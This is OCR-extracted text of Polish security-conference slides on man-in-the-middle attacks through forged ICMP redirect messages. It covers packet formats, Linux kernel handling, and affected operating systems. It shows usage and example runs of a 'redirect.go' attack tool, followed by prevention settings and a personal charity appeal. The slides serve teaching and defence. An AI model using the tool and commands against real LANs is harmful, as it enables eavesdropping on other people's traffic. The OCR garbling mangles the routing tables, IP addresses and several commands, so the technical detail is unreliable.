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Man In The Middle

Active Routes
Network Destination Netfask Gateway Interface Metric
) 172.16.249.2 172.16.249.139 10

.0.0.0

0.0.0.
10.10.10.1 255.255.255.255 172.16.249.1 172.16.249.139

127.0.0.0 255.0.0.0 27.0.0. 7.0.0.1
172.16.249.0 255.255.255.0  172.16.249.139 172.16.249.139
172.16.249.138 255.255.255.255 127.0.0.1 127.0.0.1
172.16.255.255 255.255.255.255 172.16.249.139 172.16.249.139
224.0.0.0 240.0.0.0 172.16.249.139 172.16.249.139
255.255.255.255 255.255.255.255 172.16.249.139
255.255.255.255 255.255.255.255  172.16.249.139 20005
255.255.255.255 255.255.255.255 172.16.249.139 172.16.249.139
Default Gateway 172.16.249.2

Persistent Route

Jedng z metod osiggniecia pozycji MITM jest
modyfikacja
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Zanim rozpoczniesz testy

Przygotuj sie na routowanie duzej ilosci pakietow
poprzez Twoj host
Zezwol na IP forwarding oraz skonfiguruj

odpowiednie reguty przekazywania pakietow
(jesli potrzebujesz)

saw 2015
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IP Forwarding

Linux / Android

sudo sysctl -w net.ipv4.ip forward=1

Lub, jako root:
echo 1 > sysctl -w net.ipv4.ip forward=1l

Windows

Wymaga restartu:

reg add HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v \
IpEnableRouter /t REG DWORD /d 1 /f

Lub (nie wymaga restartu):

sc start "RemoteAccess"

Mac OS X

sudo sysctl -w net.inet.ip.forwarding=1
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Internet Control Message Protocol

Zdefiniowany RFC 792 w 1981 roku (z
pozniejszymi zmianami)
Warstwa 3* modelu ISO/OSI

Zaprojektowany w celu przekazywania informacji
0 problemach w komunikacji

Komunikaty protokotu ICMP zazwyczaj niosg ze
sobg informacje o btedach w przetwarzaniu
datagramow IP

Kierowane sg do adresu IP zrodtowego
przetwarzanego pakietu*
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Internet Control Message Protocol

(different purposes)

Internet Protocol Header

8 Bytes of Next Header
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Przypadek uzycia: Srodowisko z wieloma
bramami w obrebie sieci LAN
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Przypadek uzycia: Srodowisko z wieloma
bramami w obrebie sieci LAN

saw 2015
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Przypadek (nad)uzycia: Srodowisko z
wieloma hak™H*"H”*Hbramami w obrebie
sieci LAN (stary/znany sposob)
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ICMP Type=5, Code=1 - Format

DSCP |ECN Total Length
D | Flags |  FragmentOffset

TTL Header Checksum

Source IP Address
Destination IP Address

Type Checksum

Gateway Internet Address

Version IHL DSCP | ECN
Fragment Offset
Header Checksum

Protocol
Source IP Address
Destination IP Address

8 Bytes of Next Header
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ICMP Type=5, Code=1 - Format

P Frame 183: 78 bytes on wire (560 bits), 70 bytes captured (560 bits)
P Ethernet II, Src: Cisco 3a:59:c3 (44:03:a7:3a:5%:¢c3), Dst: Vmware Bb:26:ac (B0:50:56:8b:26:ac)

=~ Internet Protocol Version 4, S5rc: 18.13.13.252 (1@.13.13 252), Dst: 18.13.13.2 (18.13.13.2)
Version: 4

Header Length: 3@ bytes
Differentiated Services Field: Ox08 (D5CP @x00: Default,; ECN: 8xG0: Not-ECT (Not ECN-Capable Transport))
Total Length: 56
Identification: @x55d8 (38352)
Flags: 0Ox80
Fragment offset: @
Time to liwve: 255
Protocol: ICHMP (1)
Header checksum: @xfédc [validation disabled]
Source: 1@.13.13.252 (10.13.13.252)
Destination: 16.13.13.2 (16.13.13.2)
[Source GeplIP: Unknown]
[Destination GeolP: Unknown]
<~ Internet Control Message Protocol
Type: 5 (Redirect)
Code: 1 (Redirect for host)
Checksum: Gxe5T0 [correct]

~ Internet Protocol Version 4, Src: 18.13.13.2 (16.13.13.2), Dst: 16.11.11.67 (16.11.11.67)
Version: 4

Header Length: 20 bytes

Differentiated Services Field: Ox08 (DSCP Ox08: Default; ECN: 8x08: Not-ECT (Not ECN-Capable Transport))
Total Length: 68

Identification: Ox@EE6 (0)

Flags: @x82 (Don't Fragment)

Fragment offset: @

Time to live: 64

Protocol: TCP (&)

Header checksum: @x@e6® [validation disabled]
Source: 18.13.13.2 (16.13.13.2)

Destination: 16.11.11.67 (18.11.11.67)
[Source GeolP: Unknownl

60 38 95 de 06 @0 ff @1 f6 dc @a 0d @d fc 8a 6d
Bd 82 B85 81 e5 fI 45 GO B0 3c AG Ol
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8 bajtow kolejnego nagtowka

® TCP

Sequence Number

® UDP

Destination Port
Length Checksum

® ICMP Echo Request/Reply

|ldentifier Sequence Number

Type=8

Ktore z powyzszych mozna tatwo kontrolowa¢? .
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Przypadek (nad)uzycia: Srodowisko z
wieloma hak™H*"H”*Hbramami w obrebie
sieci LAN (nowy sposob)

5
$ sudo tshar n icmp
5 18.511051 10.10.100.39 -> 10.10.100.254 ICMP 98 Echo (ping) request id=0x9%eal, seq=0/0, ttl=64
6 18.511307 10.10.100. -> 10.10.100.39 ICMP 98 Echo (ping) id= seq=0/0, 64 (requ )

11111



Linux
Dla wersii:

2.6.38 — 3.5.x — inicjator (dowolny) + icmp redirect
3.6.x — 3.12.x — inicjator (udp) + icmp redirect
Wszystkie testowane jgdra poza 3.6.x — inicjator (icmp) + icmp redirect

Zmiany wprowadzone w jgdrach wersji 3.6.x

Sprawdza sie, czy otrzymany pakiet ICMP redirect rzeczywiscie zostat
wystany przez obecng (do tej pory) domysing brame dla adresu
docelowego

Konsultuje sie z FIB a nie tablicg routingu (ip route list table local)

Poprzednio obstuga wszelkich pakietow ICMP redirect byta
zaimplementowana w icmp.c, obecnie pakiety sg dostarczane, a ich
obstuga przekazywana do modutdow obstugujgcych poszczegolne
protokoty (np. UDP, TCP, ICMP itd.)

Pakiety ICMP Redirect sg walidowane na podstawie 8 bajtow zatgczonego
nagtowka oryginalnego pakietu (w rozny sposob w zaleznosci od
protokotu)
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Linux 3.6

Sprawdzenie, czy otrzymany pakiet ICMP redirect rzeczywiscie zostat

wystany przez obecng (do tej pory) domysing brame dla adresu
docelowego oraz korzystanie z FIB a nie tablicy routingu (route.c)

682
683
684

705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722

if (rt->rt _gateway != old gw)
return;

n = ipv4 neigh lookup (&rt->dst, NULL, &new_gw) ;
if (n) {
if (!(n->nud_state & NUD VALID)) ({
neigh event send(n, NULL);
} else {
if (fib_lookup(net, f1l4, &res) == 0) {
struct fib nh *nh = &FIB RES NH(res)

update or create_ fnhe(nh, fl4->daddr, new _gw,
0, 0);
}
if (kill_route)
rt->dst.obsolete = DST_OBSOLETE KILL;
call netevent notifiers (NETEVENT NEIGH UPDATE, n);
}
neigh release(n);
}
return;
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Linux 3.6

Obstuga ICMP redirect w module TCP

diff --git a/net/ipv4/tcp ipvé4.c b/net/ipv4/tcp ipv4.c

(.)
+static void do_redirect(struct sk _buff *skb, struct sock *sk)
+{
+ struct dst _entry *dst = _ sk dst check(sk, 0);
+
+ if (dst && dst->ops->redirect)
+ dst->ops->redirect(dst, skb);
+}
+
(.)
switch (type) {
+ case ICMP_REDIRECT:
+ do_redirect (icmp_skb, sk);
ar goto out;

diff --git a/net/ipv4/icmp.c b/net/ipv4/icmp.c
(..)
= ip rt redirect(skb, icmp hdr (skb)->un.gateway) ;

icmp socket deliver (skb, icmp hdr (skb)->un.gateway) ;
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Windows

® Windows XP — wystarczy wystac jedynie komunikat ICMP redirect
® Windows 7 — pakiet inicjujgcy (dowolny) + ICMP redirect

Mac OS X

® Yosemite — niezweryfikowane (do tej pory testy zakonczyty sie
niepowodzeniem)

® poprzednie — nietestowane, ale najprawdopodobniej atak mozliwy / fatwy
do przeprowadzenia

Inne testowane systemy

® Openindiana (kontynuacja projektu OpenSolaris) — zwykty ICMP redirect

® Cisco ISE —wersja 1.1.4 z jgdrem 2.6.18 — inicjator (dowolny) + ICMP
redirect
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Narzedzie: redirect.go

$ go run redirect.go --help
Usage:

Script will send an ICMP recirect message (or, in fact, couple of network packets, in
some cases in a loop. This is to introduce a new route entry to the attacked system.
Victim (V) is other host within the same LAN segment (or, L2 domain).

Victim communicates to the , and this is the connection you want to
eavesdrop.
The other piece you need to know is default of your victim, typically
it will be the same router that is your ( ) default gateway.
(V)
| |
+-—+-—+

For TCP, it is the best to choose port which is closed on the victim machine, as sequence
number in response when the RST flag is set is always 0.

For UDP, there's netbios ns query implemented, it is the best when victim actually
listens for these queries (most of windows machines do).

The best approach is to use ICMP. Use other options if ICMP is not working.

Examples:

redirect -V 10.10.10.16
redirect -c 2
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Narzedzie: redirect.go

Usage: redirect.go

-A

-V

-C

string
[optional]
[optional]
string
[required]
string
[required]
string
[required]
int
[optional]

attacker IP address (your primary network interface IP address by default)
debug mode - very verbose

IP address of the default gatway
IP address of the target (may be on remote network)
IP address of the victim (on the same LAN segment as an attacker)

clean up: 1 - set route back to default gw; 2 - set IP forward to 0; 4 - clear

iptables rule (only for udp type). Add values to do more than one cleanup type
-cpuprofile string
Where to write CPU profile

is the default)

P
!
-s

-t
-u
-X

int
[optional]
[optional]
string
[optional]
float
[optional]
int
[optional]

[optional]
[optional]
int
[optional]
[optional]
[optional]
[optional]

destination port of trigger packet (default 53)
do not spoof source MAC address

interface to use
send packets in a loop at <number> interval (in seconds)

send number of packets if sending in a loop. Set it to -1 to send continously (this

(default -1)

send a redirect based on a ICMP trigger / ping (this is the default) (default true)
quiet mode - won't print any messages

source port of trigger packet
send a redirect based on a TCP trigger
send a redirect based on a UDP trigger
skip trigger
21
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redirect.go: przykiad

sudo redirect -D -V 10.10.100.19

2015/09/04 17:45:57 Preparing packet from 10.10.100.254 to 10.10.100.19 to send via interface eth0O (gateway
10.10.100.254)

2015/09/04 17:45:57 Preparing packet from 4.4.4.4 to 10.10.100.19 to send via interface eth0 (gateway
10.10.100.254)

Sending packets (will be redirecting to 10.10.100.5): i.r.

victim$ sudo tshark -n -f icmp
Capturing on 'ethO'

1 10.10.100.19 ICMP 60 0.000000 Echo (ping) request id=0x1756, seq=1/256, ttl=64
2 10.10.100.19 ICMP 60 0.001161 Echo (ping) reply id=0x1756, seq=1/256, ttl=64 (request in 1)
3 10.10.100.19 1ICMP 70 0.000646 Redirect (Redirect for host)

victim$ ip route get
via dev eth0 src 10.10.100.19
cache <redirected>
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redirect.go: przywracanie porzgdku

sudo redirect -D -V 10.10.100.19 -c 7

2015/09/04 17:47:18 Preparing packet from 10.10.100.5 to 10.10.100.19 to send via interface ethO (gateway
10.10.100.254)

2015/09/04 17:47:18 Preparing packet from 4.4.4.4 to 10.10.100.19 to send via interface eth0 (gateway
10.10.100.254)

Sending packets (will be redirecting to 10.10.100.254): i.r.

victim$ sudo tshark -n -f icmp
Capturing on 'ethO'

1 10.10.100.19 ICMP 60 0.000000 Echo (ping) request id=0x1856, seq=1/256, ttl=64
2 10.10.100.19 ICMP 60 0.001161 Echo (ping) reply id=0x1856, seq=1/256, ttl=64 (request in 1)
3 10.10.100.19 ICMP 70 0.000646 Redirect (Redirect for host)

victim$ ip route get
via dev eth0 src 10.10.100.19
cache <redirected>
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Podsumowanie: musisz znac¢

Wszystkie systemy operacyjne

Adres IP bramy, ktorej uzywa “ofiara” do
komunikacji z hostem docelowym

Linux - jgdra 3.6.x

Nalezy znac adresy IP oraz porty (zrodtowy |
docelowy) komunikacji UDP, ktora ma miejsce
W momencie testu



Podsumowanie: ograniczenia

Jednokierunkowy MITM (ruch od “ofiary” w

zasliegu atakujgcego — ten sam LAN — do hosta
docelowego)*

Mozna przeprowadzic jedynie w sieci lokalne]
(Jest to atak wycelowany w konkretng
komunikacje miedzy hostem w LAN a
systemem spoza LAN)



Podsumowanie: prewencja

Linux / Android

sudo sysctl -w net.ipv4.conf.all.accept_redirects=0
sudo sysctl -w net.ipvé6.conf.all.accept_redirects=0

Or, as root
echo 0 > /proc/sys/net/ipv4/conf/all/accept redirects
echo 0 > /proc/sys/net/ipv4/conf/all/accept redirects

Windows

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters
Dodaj wartos¢ o nazwie EnableICMPRedirects, typie REG_DWORD | ustaw wartosc¢ na 0

Mac OS X

sudo sysctl -w net.inet.icmp.drop redirect=1
sudo sysctl -w net.inet.icmp.log redirect=1
sudo sysctl -w net.inet6.icmp6.rediraccept=0
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Odnosniki

RFC

729 — Internet Control Message Protocol

1122 — Requirements for Internet Hosts -- Communication Layers
1812 — Requirements for IP Version 4 Routers

5927 — ICMP Attacks against TCP

6864 — Updated Specification of the IPv4 ID Field

Linki
https://blog.zimperium.com/doubledirect-zimperium-discovers-full-duplex-
icmp-redirect-attacks-in-the-wild/
https://support.apple.com/en-us/HT204659
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Odnosniki
Commity zmieniajgce obstuge ICMP redirect w
jadrze Linuxa

https://git.kernel.org/cgit/linux/kernel/git/davem/net.qgit/diff/ ?id=55be7a9c6074f749d617a7fc1914
c9a23505438c

https://git.kernel.org/cgit/linux/kernel/git/davem/net.git/diff/?id=1f42539d257af6 71d56d4bdbcfl3a
ef31labff6ef

https://git.kernel.org/cgit/linux/kernel/git/davem/net.git/diff/?id=b42597e2f36e2043756aa7462fad
df630962f061

https://git.kernel.org/cgit/linux/kernel/git/stable/linux-
stable.git/commit/?id=791169e5924d35532443c9538e3ba0d49ef0de10

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/‘commit/?id=4895c771c7f006b4b90f9d6
b1d2210939ba57b38

Kontakt

dorota.kulas @ gmail.com
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http://maciejkulas.pl/ladyinthemiddle/

IEKUJE ZA

UWAGE




Wiecej informaciji:

Maciek to m¢j brat. W maju 2013 wydarzyt sie wypadek, wskutek
ktorego Maciek trafit na OIT w Olsztynie w bardzo ciezkim stanie.
Przez kilka tygodni byt w spigczce. Przez kolejne miesigce
przebywat w szpitalach i ZOLach, m.in. w szpitalu w Ostrodzie,
ZOLu “Swiatto” w Toruniu, w o$rodku “Epimigren” w Osielsku,
szpitalu MSWiA w Bydgoszczy. Stan Macka jest w tej chwili
stabilny, lecz w zwigzku ze znacznym niedotlenieniem mozgu
moj brat wymaga opieki 24h/dobe i rehabilitaciji.
Mackiem zajmujg sie rodzice w domu. Jest on niepetnosprawy
(Il stopien niepetnosprawnosci), nie porusza sie, karmiony jest
przez PEG (sonda dozotgdkowa), nie mowi — zaczyna wydawac
pierwsze dzwieki. Koszty opieki i rehablitacji przekraczajg
mozliwosci finansowe moich rodzicéw, w zwigzku z czym prosimy
0 wsparcie w postaci dowolnych darowizn lub przekazania
1% podatku. Do tej pory udato sie wypozyczyc¢ lub kupic¢/optacic:
* 16zko szpitalne
* podnosnik
» schodoztaz (2 pietro bez windy)
* wozek inwalidzki
* rehabilitacje fizjoterapeuty i neurologopedy
* Srodki codziennej pielegnacji
W tym roku chcielibysmy kupi¢ Maékowi w celu dalszej
neurorehabilitacji oraz poprawy kontaktu z nami i ze Swiatem.
Maciek juz pracowat z tym systemem z dobrymi rezultatami.
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